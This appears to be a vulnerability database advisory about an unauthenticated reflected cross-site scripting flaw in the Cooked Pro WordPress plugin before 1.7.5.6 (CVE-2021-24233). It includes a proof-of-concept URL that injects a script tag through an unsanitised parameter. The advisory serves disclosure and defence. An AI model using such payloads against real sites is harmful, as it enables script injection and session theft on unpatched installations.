Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbJinson Varghese BehananWPVDB-ID:ED620DE5-1AD2-4480-B08B-719480472BC0
HistoryMar 30, 2021 - 12:00 a.m.

Cooked Pro < 1.7.5.6 - Unauthenticated Reflected Cross Site Scripting (XSS)

2021-03-3000:00:00
Jinson Varghese Behanan
wpscan.com
7
JSON

The plugin was affected by unauthenticated reflected Cross-Site Scripting issues, due to improper sanitisation of user input while being output back in pages as an arbitrary attribute.

PoC

https://cooked.pro/demo/trial/5snjx6louabhdpg/profile/?t8osi"><script>alert(1)<%2Fscript>dr7ag=1

CPENameOperatorVersion
cooked-prolt1.7.5.6

Related

patchstack 1
wpexploit 1
prion 1
cve 1
patchstack
patchstack
WordPress Cooked Pro premium plugin <= 1.7.5.5 - Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability
2021-03-30 00:00:00
wpexploit
wpexploit
Cooked Pro < 1.7.5.6 - Unauthenticated Reflected Cross Site Scripting (XSS)
2021-03-30 00:00:00
prion
prion
Cross site scripting
2021-04-22 21:15:00
cve
cve
CVE-2021-24233
2021-04-22 21:15:00
JSON
Related for WPVDB-ID:ED620DE5-1AD2-4480-B08B-719480472BC0
patchstack1wpexploit1prion1cve1